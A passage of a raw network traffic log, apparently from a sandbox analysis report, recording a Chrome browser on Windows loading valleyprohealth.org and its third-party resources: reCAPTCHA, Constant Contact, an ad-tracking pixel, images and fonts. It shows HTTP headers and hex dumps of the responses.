5a 63 e6 49 13 35 b5 59 f6 86 0f 4a da 2c 36 9e 06 0b 35 Data Ascii: Rm,HkBJ9cG4WUVeLm<hK..ie(eE``}?7TA-#EGS(b2~)xtm'(qX`x5\s8g' GNb/Uy89}tc]9CK7Iz6+XFkZ:F5WZcI5YJ,65

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49868	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:33 UTC	555	OUT	GET /wp-content/themes/vpchc/images/favicon/favicon-32x32.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:33 UTC	323	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:33 GMT Content-Type: image/png Content-Length: 2270 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-8de" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:33 UTC	2270	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 51 49 44 41 54 58 c3 ed 97 5b 6c 5c 57 15 86 bf 75 ce dc 6c 8f 2f b1 d3 f8 1a 27 be 04 37 75 d2 36 a4 49 a0 15 2d aa 93 38 05 25 45 22 6a 05 aa c4 03 08 54 41 24 43 45 81 27 84 40 88 be 50 ab 5c 55 81 54 a8 02 b4 50 35 72 d3 d6 25 43 4a 13 55 a5 50 9a b8 6e 93 d8 6e 1d db b1 63 3b 86 8c ed d8 33 9e 99 33 67 f1 70 f6 89 Data Ascii: PNGIHDR szzgAMAasRGB cHRMz&u0`:pQ<bKGDpHYsQIDATX[l\Wul/'7u6I-8%E"jTA$CE'@P\UTP5r%CJUPnnc;33gp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49870	18.154.206.110	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:33 UTC	386	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:33 UTC	859	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 1538 Connection: close x-amz-id-2: jxMq6GW6qThI09uHsn6dc42Ttjf25uCVMvxWEnGzvhtg29wVmHE/HLz4HvfY9hBN3OjFbtDtiMc= x-amz-request-id: GYP5R46SHR7TKD11 Date: Wed, 24 Apr 2024 12:44:34 GMT x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT ETag: "6aba559afcf8291c518df6fa4c481556" x-amz-server-side-encryption: AES256 Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: Miss from cloudfront Via: 1.1 ce03dab0723e1a81658675d5bdaf168c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: ajdGX4IhHGFVia52Il1-lUyKNnc_c7B8_NSX3QKCCKyhaIY6bHgEPg==
2024-04-24 12:44:33 UTC	1538	IN	Data Raw: 7b 22 70 72 69 76 61 63 79 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 73 74 61 6e 74 63 6f 6e 74 61 63 74 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 63 75 73 74 6f 6d 65 72 2d 63 6f 6e 74 61 63 74 2d 64 61 74 61 2d 6e 6f 74 69 63 65 22 2c 22 66 69 6e 65 50 72 69 6e 74 54 65 78 74 22 3a 22 6d 61 72 6b 65 74 69 6e 67 20 65 6d 61 69 6c 73 22 2c 22 63 6f 6d 70 61 6e 79 4e 61 6d 65 22 3a 22 43 6f 6d 70 61 6e 79 20 6f 72 20 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 4e 61 6d 65 22 2c 22 70 68 79 73 69 63 61 6c 41 64 64 72 65 73 73 22 3a 7b 22 61 64 64 72 65 73 73 4c 69 6e 65 31 22 3a 22 37 37 37 20 53 20 4d 61 69 6e 20 53 74 22 2c 22 61 64 64 72 65 73 73 4c 69 6e 65 32 22 3a 22 53 75 69 74 65 20 31 30 30 22 2c 22 61 64 64 72 65 73 73 4c 69 6e 65 33 22 3a Data Ascii: {"privacyUrl":"https://www.constantcontact.com/legal/customer-contact-data-notice","finePrintText":"marketing emails","companyName":"Company or Organization Name","physicalAddress":{"addressLine1":"777 S Main St","addressLine2":"Suite 100","addressLine3":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49872	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:33 UTC	953	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2duub94apzi9 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:33 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:44:33 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-7R-scofdrfPwtqP8dYtw3A' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:33 UTC	364	IN	Data Raw: 32 62 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2b0a<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 37 52 2d 73 63 6f 66 64 72 66 50 77 74 71 50 38 64 59 74 77 33 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="7R-scofdrfPwtqP8dYtw3A" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 63 67 77 77 54 65 7a 70 77 79 32 47 78 4d 55 4b 73 49 4a 30 5a 43 44 44 73 2d 55 4d 68 43 65 6b 61 6c 4a 73 4c 79 67 34 34 76 32 33 70 4f 4b 42 55 51 57 6a 46 79 49 58 4a 6e 2d 34 32 36 79 33 5a 4a 4a 77 6d 62 64 73 58 35 67 30 6e 58 78 70 68 42 45 4d 4e 63 31 71 36 59 30 57 78 55 42 4d 62 46 6a 69 68 78 4c 63 6a 42 5f 44 33 78 4e 61 30 58 6a 65 31 75 65 41 50 32 78 52 66 49 77 57 31 34 4f 6c 55 78 65 74 73 6a 46 35 43 45 6a 6c 70 47 33 50 56 63 61 62 65 4a 63 54 31 37 6d 36 75 36 53 6c 6d 36 50 55 7a 35 79 53 74 66 52 64 62 76 4d 43 63 7a 6d 58 39 76 47 77 76 67 54 38 75 6a 74 73 6e 44 67 50 4a 33 45 59 73 39 39 67 69 32 48 71 51 4a 42 59 6e 35 52 38 59 38 36 6a 78 4b 78 56 64 46 49 35 36 6f 51 56 76 4e 69 32 39 65 55 6b 6f 4e 66 74 7a 4a 37 77 41 4f 75 Data Ascii: cgwwTezpwy2GxMUKsIJ0ZCDDs-UMhCekalJsLyg44v23pOKBUQWjFyIXJn-426y3ZJJwmbdsX5g0nXxphBEMNc1q6Y0WxUBMbFjihxLcjB_D3xNa0Xje1ueAP2xRfIwW14OlUxetsjF5CEjlpG3PVcabeJcT17m6u6Slm6PUz5yStfRdbvMCczmX9vGwvgT8ujtsnDgPJ3EYs99gi2HqQJBYn5R8Y86jxKxVdFI56oQVvNi29eUkoNftzJ7wAOu
2024-04-24 12:44:33 UTC	1255	IN	Data Raw: 53 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 37 52 2d 73 63 6f 66 64 72 66 50 77 74 71 50 38 64 59 74 77 33 41 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 64 6c 51 6c 70 78 65 55 68 4c 51 31 4e 58 64 55 70 4c 52 44 56 61 53 6d 31 47 58 32 74 36 62 56 41 35 55 57 78 57 4d 55 52 5a 4c 6d 70 7a 5c 78 32 32 2c 5c 78 32 32 5c 78 32 32 2c 5c 78 32 32 53 6e 64 4a 52 30 45 35 Data Ascii: S"><script type="text/javascript" nonce="7R-scofdrfPwtqP8dYtw3A"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0dlQlpxeUhLQ1NXdUpLRDVaSm1GX2t6bVA5UWxWMURZLmpz\x22,\x22\x22,\x22SndJR0E5
2024-04-24 12:44:33 UTC	622	IN	Data Raw: 62 54 42 53 62 55 56 75 4b 32 78 68 4d 30 35 57 51 30 74 4f 59 6b 68 48 56 47 39 47 53 47 70 5a 54 7a 5a 52 52 30 55 77 65 6a 46 48 64 7a 51 35 59 56 59 34 59 57 31 76 59 55 35 58 62 30 55 7a 51 6d 68 45 4f 56 68 4f 64 32 70 4a 54 6c 52 56 55 32 5a 51 54 6c 64 6c 62 47 77 30 61 55 52 4d 53 6e 56 32 61 6b 4a 47 57 46 46 61 55 30 4a 4f 51 57 35 46 62 54 4a 6d 57 6a 49 35 62 32 45 77 53 6b 6c 61 53 45 51 76 5a 31 51 77 63 6a 59 77 55 58 5a 50 55 6e 70 43 54 33 70 68 62 45 70 48 56 32 77 78 65 55 46 33 4f 45 52 43 52 47 31 4e 57 55 77 77 57 48 42 77 54 33 56 72 54 55 78 79 4d 55 70 5a 4e 46 68 75 4e 6b 4a 75 51 6d 70 6c 4e 6a 52 68 4c 30 70 43 61 6b 34 31 53 31 52 4e 59 30 70 6f 4d 31 68 56 52 44 52 6e 61 57 39 52 4d 6b 64 48 53 7a 42 76 56 58 70 6e 54 6d 52 Data Ascii: bTBSbUVuK2xhM05WQ0tOYkhHVG9GSGpZTzZRR0UwejFHdzQ5YVY4YW1vYU5Xb0UzQmhEOVhOd2pJTlRVU2ZQTldlbGw0aURMSnV2akJGWFFaU0JOQW5FbTJmWjI5b2EwSklaSEQvZ1QwcjYwUXZPUnpCT3phbEpHV2wxeUF3OERCRG1NWUwwWHBwT3VrTUxyMUpZNFhuNkJuQmplNjRhL0pCak41S1RNY0poM1hVRDRnaW9RMkdHSzBvVXpnTmR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49871	3.33.220.150	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:33 UTC	817	OUT	GET /track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de
2024-04-24 12:44:33 UTC	553	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:33 GMT Content-Type: text/html Content-Length: 938 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:33 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.; expires=Thu, 24 Apr 2025 12:44:33 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:33 UTC	938	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49874	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:33 UTC	552	OUT	GET /wp-content/uploads/2020/07/img__section-1-550x550.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:34 UTC	326	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:34 GMT Content-Type: image/jpeg Content-Length: 50146 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:49 GMT ETag: "64f5a135-c3e2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
